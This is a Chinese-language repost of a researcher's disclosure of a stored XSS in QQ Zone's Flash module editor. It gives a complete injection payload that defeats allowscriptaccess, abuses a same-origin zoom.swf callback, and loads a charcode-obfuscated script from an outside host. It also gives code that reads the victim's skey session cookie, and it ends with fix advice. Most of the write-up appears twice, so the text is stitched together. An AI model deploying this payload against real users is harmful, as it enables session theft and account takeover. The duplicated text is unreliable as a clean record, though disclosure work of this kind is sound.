QQ空間存儲型XSS漏洞的組合利用(圖解)
發(fā)布日期:2022-01-26 10:39 | 文章來源:站長之家
1. QQ空間某處正則混亂,導致惡意構造。
2. QQ空間某文件存在潛在風險
3. 1+2 = 此漏洞
詳細說明:
1. 一開始的目標是這個http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,這個頁面是用來修改QQ空間模塊內(nèi)容的。這里我選擇提交的是FLASH模塊。 由于此請求,每請求一次都需要輸入一個驗證碼,所以沒辦法直接在抓包工具里修改并發(fā)送。所以最初是用調(diào)試工具去修改DOM屬性,然后寫自定義值來一次一次的試,后來實在覺得太麻煩了,就自己臨時寫了個小工具。以下測試均用此工具進行,如下,

2. 開始試了此請求的幾個參數(shù)(這里的參數(shù)是指qzml所發(fā)送的xml里的若干屬性,例如width, height ,wmode etc ..),都被過濾了, 后來懶么,就把能寫入內(nèi)容的都改成了'\/<>..,結果側漏了。。
測試的qzml請求參數(shù)大概是這樣:encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf" _fcksavedurl="https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" _fcksavedurl="https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" width="\'\/<>" height="\'\/<>" loop="\'\/<>" waitforclick="\'\/<>" wmode="\'\/<>"/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+");
側漏效果大概如下:(反正是類似這個效果,懶的回去抓圖了。)

3. 開始分析側漏原因。 發(fā)現(xiàn)height屬性把其它屬性都吞掉了。 于是其它參數(shù)復原,單個測試height,在height里加入單引號時, 服務器端的正則貌似就凌亂了。 同樣有此現(xiàn)象的還有swfsrc 。
因為服務器那邊是怎么匹配的,不清楚, 于是就開始各種構造測試,看服務器端輸出。
反正測試了挺久。 具體就不詳述。 因為服務器端輸出的embed標簽里,總是帶著allowscriptaccess="never",導致我們調(diào)用的FLASH來執(zhí)行腳本,所以最終目的,就是想用height來屏蔽掉allowscriptaccess="never" 。
測試過程中,出現(xiàn)了以下幾種阻礙。
3A. allowscriptaccess="never" 成功被我們的height 吞掉, 但是src屬性沒了。服務器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height=' src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="' type="application/x-shockwave-flash" width="'" src="" invokeurls="false" scalemode="noScale" allowscriptaccess='always"' embed="embed" menu="false"></div>
3B. 自己添加了src 屬性, 但是發(fā)現(xiàn)服務器端又自己加上了allowscriptaccess="never" 。。糾結了。服務器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width='&"34;src = http ' src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" ></div> www.jb51.net
4. 對于各種無厘頭,有時候還是要靠運氣。 在3B的代碼基礎上,偶然發(fā)現(xiàn),如果src屬性里加了\',就不會出現(xiàn)問題。 所以我們構造src地址為/c.swf?1=\'\'\', 這樣就不會出現(xiàn)allowscriptaccess參數(shù)了。
5. 但是問題接著來了,大家都知道,allowscriptaccess 默認是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,還真有一個可以用的。 在抓包QQ空間的時候,瞥見這么一個FLASH,
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange
我一瞧, 后面這個QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是個JS函數(shù)么。 于是試了一下。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
果然可以彈出啊。 這樣看來,我們可以利用下。 不過這個ctc.qzs.qq.com 和 模塊的ctc.qzonestyle.gtimg.cn 還是不是一個域啊, 但是運氣好,恰好, 這2個域名,貌似資源文件是一樣的,或者有部分是一樣的?ctc.qzonestyle.gtimg.cn 下面也有該FLASH文件。 如下:
http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
6. 所以,我們最終可以構造出FLASH的src為
/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\'
其中,前面是FLASH地址,onchange參數(shù)調(diào)用我們自己函數(shù),1=\'\'\'\' 是為了屏蔽掉allowscriptaccess="never"
7. 上面這個地址我們簡寫為{SWFURL}, 它是位于height屬性里的,如下
height=""\'/\< src={SWFURL} style=width:/ >"
8. = = 寫不下去了。。 直接上最后的測試代碼。 有點亂。。有些是測試殘留,沒實際意義,比如里的&"34; 這種。。
"qzml":encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf\' ALLOWSCRIPTACCESS autostart=true\'\"\u0009src\u0013=/c.swf / < >" width="&"34;src = http " height=""\'/\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\' style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+")
9. 上面代碼會調(diào)用我自己的網(wǎng)站的JS。 在調(diào)用JS這一步,
目測IE 應該是通殺吧?IE6沒試過。vista+IE7, win7+IE8,9 是可以的。
Chrome 也是可以的,ff 下蛋疼了,需要給加上type="application/x-shockwave-flash" 才行, 沒去弄,這個屬性應該也是可以加的上的。
10. 到這里, 可以alert, 可以跳轉。
IE下的alert

Chrome下的跳轉

11. 但是我們親愛的cookies 沒辦法彈出來啊。
原因是,如前所述,模塊的域是ctc.qzonestyle.gtimg.cn ,
而空間的域是qq.com ,沒有辦法跨域獲取cookies。
不過好在,QQ空間開發(fā)人員為我們準備好了這一功能, 原理就是在當前頁中,嵌入一個和父窗口同域的iframe頁面,來進行通訊。
我們直接調(diào)用QQ空間開發(fā)人員寫好的庫,來獲取cookies,代碼如下:
QZONE.Cross.Client.getInstance().sendInvoke('QZFL.cookie.get', 'skey',function(str){
alert("您的skey是:"+str);
});
效果如下:

需要說明的是: 獲取cookies這一步,IE下有效,chrome 貌似錯誤了,粗略看了下,對于跨域請求,Qzone開發(fā)人員針對HTML5和普通的采用的是不同的方案,在chrome下莫名的悲劇了。。 我只是調(diào)用了你們開發(fā)人員寫的東西,= = 悲劇別找我,哈哈
修復方案:
1. 服務器端在從提交過去的qzml這段XML里獲取FLASH的屬性時,正則寫錯了? 只是猜測。
2. 目測服務器端驗證qzml是否合法的正則不夠好, 像width, height 這種參數(shù),直接\d{m,n}就可以吧。 貌似width ,height 屬性里什么東西都可以寫啊。 只在客戶端限制width,height輸入框長度為3,沒什么實際作用的。。其它屬性也一樣,什么wmode只需要true|false 即可。
3. 這個http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location='釣魚網(wǎng)站'} 單獨就是一個漏洞。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 這個被利用的flash文件需修改一下。 在FLASH限制一下onchange 參數(shù)的值。
作者 gainover
2. QQ空間某文件存在潛在風險
3. 1+2 = 此漏洞
詳細說明:
1. 一開始的目標是這個http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,這個頁面是用來修改QQ空間模塊內(nèi)容的。這里我選擇提交的是FLASH模塊。 由于此請求,每請求一次都需要輸入一個驗證碼,所以沒辦法直接在抓包工具里修改并發(fā)送。所以最初是用調(diào)試工具去修改DOM屬性,然后寫自定義值來一次一次的試,后來實在覺得太麻煩了,就自己臨時寫了個小工具。以下測試均用此工具進行,如下,

2. 開始試了此請求的幾個參數(shù)(這里的參數(shù)是指qzml所發(fā)送的xml里的若干屬性,例如width, height ,wmode etc ..),都被過濾了, 后來懶么,就把能寫入內(nèi)容的都改成了'\/<>..,結果側漏了。。
測試的qzml請求參數(shù)大概是這樣:encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf" _fcksavedurl="https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" _fcksavedurl="https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" width="\'\/<>" height="\'\/<>" loop="\'\/<>" waitforclick="\'\/<>" wmode="\'\/<>"/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+");
側漏效果大概如下:(反正是類似這個效果,懶的回去抓圖了。)

3. 開始分析側漏原因。 發(fā)現(xiàn)height屬性把其它屬性都吞掉了。 于是其它參數(shù)復原,單個測試height,在height里加入單引號時, 服務器端的正則貌似就凌亂了。 同樣有此現(xiàn)象的還有swfsrc 。
因為服務器那邊是怎么匹配的,不清楚, 于是就開始各種構造測試,看服務器端輸出。
反正測試了挺久。 具體就不詳述。 因為服務器端輸出的embed標簽里,總是帶著allowscriptaccess="never",導致我們調(diào)用的FLASH來執(zhí)行腳本,所以最終目的,就是想用height來屏蔽掉allowscriptaccess="never" 。
測試過程中,出現(xiàn)了以下幾種阻礙。
3A. allowscriptaccess="never" 成功被我們的height 吞掉, 但是src屬性沒了。服務器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height=' src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="' type="application/x-shockwave-flash" width="'" src="" invokeurls="false" scalemode="noScale" allowscriptaccess='always"' embed="embed" menu="false"></div>
3B. 自己添加了src 屬性, 但是發(fā)現(xiàn)服務器端又自己加上了allowscriptaccess="never" 。。糾結了。服務器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width='&"34;src = http ' src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" ></div> www.jb51.net
4. 對于各種無厘頭,有時候還是要靠運氣。 在3B的代碼基礎上,偶然發(fā)現(xiàn),如果src屬性里加了\',就不會出現(xiàn)問題。 所以我們構造src地址為/c.swf?1=\'\'\', 這樣就不會出現(xiàn)allowscriptaccess參數(shù)了。
5. 但是問題接著來了,大家都知道,allowscriptaccess 默認是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,還真有一個可以用的。 在抓包QQ空間的時候,瞥見這么一個FLASH,
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange
我一瞧, 后面這個QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是個JS函數(shù)么。 于是試了一下。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
果然可以彈出啊。 這樣看來,我們可以利用下。 不過這個ctc.qzs.qq.com 和 模塊的ctc.qzonestyle.gtimg.cn 還是不是一個域啊, 但是運氣好,恰好, 這2個域名,貌似資源文件是一樣的,或者有部分是一樣的?ctc.qzonestyle.gtimg.cn 下面也有該FLASH文件。 如下:
http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
6. 所以,我們最終可以構造出FLASH的src為
/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\'
其中,前面是FLASH地址,onchange參數(shù)調(diào)用我們自己函數(shù),1=\'\'\'\' 是為了屏蔽掉allowscriptaccess="never"
7. 上面這個地址我們簡寫為{SWFURL}, 它是位于height屬性里的,如下
height=""\'/\< src={SWFURL} style=width:/ >"
8. = = 寫不下去了。。 直接上最后的測試代碼。 有點亂。。有些是測試殘留,沒實際意義,比如里的&"34; 這種。。
"qzml":encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf\' ALLOWSCRIPTACCESS autostart=true\'\"\u0009src\u0013=/c.swf / < >" width="&"34;src = http " height=""\'/\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\' style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+")
9. 上面代碼會調(diào)用我自己的網(wǎng)站的JS。 在調(diào)用JS這一步,
目測IE 應該是通殺吧?IE6沒試過。vista+IE7, win7+IE8,9 是可以的。
Chrome 也是可以的,ff 下蛋疼了,需要給加上type="application/x-shockwave-flash" 才行, 沒去弄,這個屬性應該也是可以加的上的。
10. 到這里, 可以alert, 可以跳轉。
IE下的alert

Chrome下的跳轉

11. 但是我們親愛的cookies 沒辦法彈出來啊。
原因是,如前所述,模塊的域是ctc.qzonestyle.gtimg.cn ,
而空間的域是qq.com ,沒有辦法跨域獲取cookies。
不過好在,QQ空間開發(fā)人員為我們準備好了這一功能, 原理就是在當前頁中,嵌入一個和父窗口同域的iframe頁面,來進行通訊。
我們直接調(diào)用QQ空間開發(fā)人員寫好的庫,來獲取cookies,代碼如下:
QZONE.Cross.Client.getInstance().sendInvoke('QZFL.cookie.get', 'skey',function(str){
alert("您的skey是:"+str);
});
效果如下:

需要說明的是: 獲取cookies這一步,IE下有效,chrome 貌似錯誤了,粗略看了下,對于跨域請求,Qzone開發(fā)人員針對HTML5和普通的采用的是不同的方案,在chrome下莫名的悲劇了。。 我只是調(diào)用了你們開發(fā)人員寫的東西,= = 悲劇別找我,哈哈
修復方案:
1. 服務器端在從提交過去的qzml這段XML里獲取FLASH的屬性時,正則寫錯了? 只是猜測。
2. 目測服務器端驗證qzml是否合法的正則不夠好, 像width, height 這種參數(shù),直接\d{m,n}就可以吧。 貌似width ,height 屬性里什么東西都可以寫啊。 只在客戶端限制width,height輸入框長度為3,沒什么實際作用的。。其它屬性也一樣,什么wmode只需要true|false 即可。
3. 這個http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location='釣魚網(wǎng)站'} 單獨就是一個漏洞。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 這個被利用的flash文件需修改一下。 在FLASH限制一下onchange 參數(shù)的值。
作者 gainover
版權聲明:本站文章來源標注為YINGSOO的內(nèi)容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。
相關文章